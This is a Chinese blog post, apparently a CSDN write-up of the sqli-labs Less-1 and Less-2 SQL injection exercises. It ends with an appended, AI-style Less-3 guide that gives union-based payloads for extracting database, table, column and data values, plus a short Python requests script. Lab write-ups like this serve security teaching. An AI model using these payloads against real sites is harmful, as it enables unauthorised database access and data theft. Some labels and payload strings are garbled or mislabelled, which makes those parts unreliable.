sqli-labs练习(less-1~2)

本文详细介绍了SQL注入攻击的两种常见类型——字符型注入和布尔型注入。在less-1中,通过构造?id=1'orderby3--注入,揭示了字符型注入的原理。而在less-2中,利用?id=1andy=1--+进行布尔型注入,展示了如何通过查询结果的真假来获取信息。同时,文章提供了联合查询的实例,帮助理解这两种注入技术。

sqli-labs练习(less-1~2)

less-1基于 ’ 的字符型注入

打开网页
在这里插入图片描述
输入 # sqli-labs练习(less-1~10) 得到在这里插入图片描述
发现注入点,使用 ' 注入发现报错点
在这里插入图片描述
构造 ?id=1' order by 3 – - 注入

联合查询?id=0' union select 1,2,3 -- -

  • id要为0或负值
    在这里插入图片描述

less-2 布尔型注入

注入点?id=1 and 1=1 --+
在这里插入图片描述

查列

?id=1 order by 4--+

在这里插入图片描述
联合查询

http://dbb925e1-9790-4409-8e6f-483a61c49f5f.node3.buuoj.cn/Less-2/
?id=0 union select 1,2,3 --+
提供的引用中未提及sqli - labs练习Less - 3的使用指南及解决方案相关内容。不过,一般而言,sqli - labs是用于进行SQL注入练习的靶场,Less - 3通常是单引号加括号闭合的注入场景。 以下是大概的使用指南和解决方案示例: ### 使用指南 1. **启动靶场**:确保sqli - labs靶场已正确搭建并启动,通过浏览器访问对应的URL。 2. **定位Less - 3**:在靶场首页找到Less - 3的链接并点击进入。 3. **观察页面**:页面可能会有输入框或者链接等交互元素,通常是用于输入参数的地方。 ### 解决方案 1. **判断注入点**:在输入框中输入单引号加括号,如 `' )`,观察页面是否报错。如果报错,很可能存在注入点。 2. **构造注入语句**: - **判断字段数**:使用 `' ) order by 数字 #` 来判断字段数,例如 `' ) order by 3 #`,如果页面正常显示,说明至少有3个字段;如果报错,说明字段数小于3。 - **爆数据库名**:使用 `' ) union select 1, database(), 3 #` 来获取当前数据库名。 - **爆表名**:使用 `' ) union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() #` 来获取当前数据库中的表名。 - **爆列名**:使用 `' ) union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='表名' #` 来获取指定表中的列名。 - **爆数据**:使用 `' ) union select 1, group_concat(列名), 3 from 表名 #` 来获取指定列的数据。 以下是一个简单的Python脚本示例,使用`requests`库进行注入测试: ```python import requests url = 'http://your-sqli-labs-url/Less-3/?id=' payload = "' ) union select 1, database(), 3 #" response = requests.get(url + payload) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值